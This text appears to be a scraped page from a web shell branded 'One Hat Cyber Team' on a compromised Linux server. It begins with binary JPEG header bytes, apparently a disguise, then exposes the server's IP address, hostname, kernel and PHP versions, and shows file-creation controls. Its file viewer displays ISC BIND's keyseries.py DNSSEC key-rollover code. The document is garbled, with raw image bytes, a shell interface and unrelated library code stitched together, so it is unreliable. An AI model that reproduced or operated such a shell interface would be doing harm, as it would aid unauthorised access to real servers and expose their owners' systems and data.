����JFIF��H�H�����C� %# , #&')*)-0-(0%()(���C (((((((((((((((((((((((((((((((((((((((((((((((((((�������������������������������������������������P������������������������A�!)10������""������"*��@��������#+�OK&������2�Ec�xo����"�P��B}���������������������:9:9=<G$���S,�"5�R2�i��ғ��3ʥ�3@�;":%885I@��e� E��"�H�Z���ς�Z9 .��������[+��M�������������������,��������0" !1234#$5@P`�������?�$|�,.,���1�:�Q��<(���Q�Xi�*3���|T��}h�� L,I�V��|�hoZ��9��ȅ*�+�%��Y_�|5fcq�A�<���"8#_i���x���|�pۨ��p�+a�Q�uoŝȡ`sޚ5�n���.�:v��]�Mk��E�Gh�Ѐ"��B���i�f�<��O:��J�ԍ]o�҈g��Zz�!Xg{<6R�{�x'��`M����?�[Z�ط#5y�t�L�7S�) �vX���^�݈���;=�@^���Ƽ��� �� h��5� ���\��������������������������?4������������������������?4�����4� �������!1"02AQqa 3B��#@P`r��������?��f`��Y�ʉ�j����Zkx��@N�JaS������}����r��t��SɁ�3�p�e��W*͎�z4v\�c����`zdg�dGu3�� ��=�2p*��#��l�9�<���A���Pu��k�������8� � �4k*;���������8���2�b��VӋE�t�[0�kmli�㵑39�i����2��o} mM����kF \�:2�+w{{���-��$xVRkEA�N�]�^�R�[ryeV�G*G4��m�mӃ�N�!��hF�v��I�R��D�_�Q�p��T[l��D�.nNӢ����O��˚�i7+�=�=8qJ���'����K�B{���K�͟e�5���:����e��1��w�m��[MA���č��Vj��mȵ�z)�� č��}��n�(���9��?���)��������!1AQ0aq��� ��@�P`����?!��@v�,c�֟$M��6_���⠾SD$��!�/Y��:�NQ���!�c(��^��b�y��u��+�.H�U$�%嗗��ry�N>��]����X0�2D�q�q}Z��˥4ao����M,E�؇Uq� �Ϙc�AC\��:�+R��-�/9�Z �O�A*��|��+,u�~�#G �B" ���D�X1��_�VwP���OY��"�d��+V�a�\�t�v�^��[��j�c3�^�f4 KTFS��cNI��F���x1F9 �m��@��YڭQ�+(��D��Dߵ[���$�M���&��D�Z�V��&ձGi�@�t}�к�/+�4����wd0Dh���� ��aa�M='�g�UK�M��7�M+�O}�� ��4�r�ԋ�t��g\F,0���k��aX���U� ��5y��6�@�2�� ��DmZ�V{�9]A�.m�EKZ��2 ���?���������I$�I$�I$�I$�I$�I$�I$�I$A$�I$�@$I$�I I$�I ��$�I$�I$I$�II$�I$� �I$�I$�I$�I�A$�I$� �I$��$�I @�I$�$�I$�I �@$�I$�I$�I$�I$�I$�����������������������?4������������������������?4�����+��������!1AQ�aq�0����� ��@P`����?�����(Ir��ʲo��(��#)�0�a �?&�4�0�~��4Տ���K�Fhg~�����թ̛]NH ����}��N��:��5{y���o�BNb���s������C��t��kM�)j*D��$<�������gN���C��s%A#�*��=�@`䠴�?T+�U}�b��ʩ� D+�ϪG����!������j_�*)C�_ЂG�%�ү�4�X��T���IH������0r�"�%\~�%aJ��3�����iԁ �_�!�G�d ;�O�=$ VXx�� ����B�KSZtk�&�#��)�p0�P��Q.��M�9!�ۋne)��ҧ����4'��4$��)�F�^�v��� ��1j�f�z�U�K0�m�V=AA&C����"��gzu%�`08[^���Us���7��нWźU��� �z����4)B��e-�HV%Hh7�ԑ��A(�>hP��\�%a�[lL�_n{Ґ���V4n�FX�D+��1Kt�Z��\��!2��)Y��9�Em8�,��_WeD3¢���a��zW��L�3���d^-�����A��}�Y�g�(A�бx�P>ƌH��ߤ;Vn�q������JH� ?�� A�0�H��E�������jV�U��&H����� ��I�b&3�MF@H��L�E� CV-k6 �T:W���&3y��-օ�cB�6�#�h�VL{Q�0 ���Y��
One Hat Cyber Team
One Hat Cyber Team
Your IP :
18.217.131.249
Server IP :
167.114.57.54
Server :
Linux vps.riaoverseas.com 3.10.0-1160.15.2.el7.x86_64 #1 SMP Wed Feb 3 15:06:38 UTC 2021 x86_64
Server Software :
Apache
PHP Version :
8.0.18
Buat File
|
Buat Folder
Dir :
~
/
lib
/
python2.7
/
site-packages
/
isc
/
View File Name :
keyseries.py
############################################################################ # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. ############################################################################ from collections import defaultdict from .dnskey import * from .keydict import * from .keyevent import * from .policy import * import time class keyseries: _K = defaultdict(lambda: defaultdict(list)) _Z = defaultdict(lambda: defaultdict(list)) _zones = set() _kdict = None _context = None def __init__(self, kdict, now=time.time(), context=None): self._kdict = kdict self._context = context self._zones = set(kdict.missing()) for zone in kdict.zones(): self._zones.add(zone) for alg, keys in kdict[zone].items(): for k in keys.values(): if k.sep: if not (k.delete() and k.delete() < now): self._K[zone][alg].append(k) else: if not (k.delete() and k.delete() < now): self._Z[zone][alg].append(k) self._K[zone][alg].sort() self._Z[zone][alg].sort() def __iter__(self): for zone in self._zones: for collection in [self._K, self._Z]: if zone not in collection: continue for alg, keys in collection[zone].items(): for key in keys: yield key def dump(self): for k in self: print("%s" % repr(k)) def fixseries(self, keys, policy, now, **kwargs): force = kwargs.get('force', False) if not keys: return # handle the first key key = keys[0] if key.sep: rp = policy.ksk_rollperiod prepub = policy.ksk_prepublish or (30 * 86400) postpub = policy.ksk_postpublish or (30 * 86400) else: rp = policy.zsk_rollperiod prepub = policy.zsk_prepublish or (30 * 86400) postpub = policy.zsk_postpublish or (30 * 86400) # the first key should be published and active p = key.publish() a = key.activate() if not p or p > now: key.setpublish(now) if not a or a > now: key.setactivate(now) if not rp: key.setinactive(None, **kwargs) key.setdelete(None, **kwargs) else: key.setinactive(a + rp, **kwargs) key.setdelete(a + rp + postpub, **kwargs) if policy.keyttl != key.ttl: key.setttl(policy.keyttl) # handle all the subsequent keys prev = key for key in keys[1:]: # if no rollperiod, then all keys after the first in # the series kept inactive. # (XXX: we need to change this to allow standby keys) if not rp: key.setpublish(None, **kwargs) key.setactivate(None, **kwargs) key.setinactive(None, **kwargs) key.setdelete(None, **kwargs) if policy.keyttl != key.ttl: key.setttl(policy.keyttl) continue # otherwise, ensure all dates are set correctly based on # the initial key a = prev.inactive() p = a - prepub key.setactivate(a, **kwargs) key.setpublish(p, **kwargs) key.setinactive(a + rp, **kwargs) key.setdelete(a + rp + postpub, **kwargs) prev.setdelete(a + postpub, **kwargs) if policy.keyttl != key.ttl: key.setttl(policy.keyttl) prev = key # if we haven't got sufficient coverage, create successor key(s) while rp and prev.inactive() and \ prev.inactive() < now + policy.coverage: # commit changes to predecessor: a successor can only be # generated if Inactive has been set in the predecessor key prev.commit(self._context['settime_path'], **kwargs) key = prev.generate_successor(self._context['keygen_path'], self._context['randomdev'], prepub, **kwargs) key.setinactive(key.activate() + rp, **kwargs) key.setdelete(key.inactive() + postpub, **kwargs) keys.append(key) prev = key # last key? we already know we have sufficient coverage now, so # disable the inactivation of the final key (if it was set), # ensuring that if dnssec-keymgr isn't run again, the last key # in the series will at least remain usable. prev.setinactive(None, **kwargs) prev.setdelete(None, **kwargs) # commit changes for key in keys: key.commit(self._context['settime_path'], **kwargs) def enforce_policy(self, policies, now=time.time(), **kwargs): # If zones is provided as a parameter, use that list. # If not, use what we have in this object zones = kwargs.get('zones', self._zones) keys_dir = kwargs.get('dir', self._context.get('keys_path', None)) force = kwargs.get('force', False) for zone in zones: collections = [] policy = policies.policy(zone) keys_dir = keys_dir or policy.directory or '.' alg = policy.algorithm algnum = dnskey.algnum(alg) if 'ksk' not in kwargs or not kwargs['ksk']: if len(self._Z[zone][algnum]) == 0: k = dnskey.generate(self._context['keygen_path'], self._context['randomdev'], keys_dir, zone, alg, policy.zsk_keysize, False, policy.keyttl or 3600, **kwargs) self._Z[zone][algnum].append(k) collections.append(self._Z[zone]) if 'zsk' not in kwargs or not kwargs['zsk']: if len(self._K[zone][algnum]) == 0: k = dnskey.generate(self._context['keygen_path'], self._context['randomdev'], keys_dir, zone, alg, policy.ksk_keysize, True, policy.keyttl or 3600, **kwargs) self._K[zone][algnum].append(k) collections.append(self._K[zone]) for collection in collections: for algorithm, keys in collection.items(): if algorithm != algnum: continue try: self.fixseries(keys, policy, now, **kwargs) except Exception as e: raise Exception('%s/%s: %s' % (zone, dnskey.algstr(algnum), str(e)))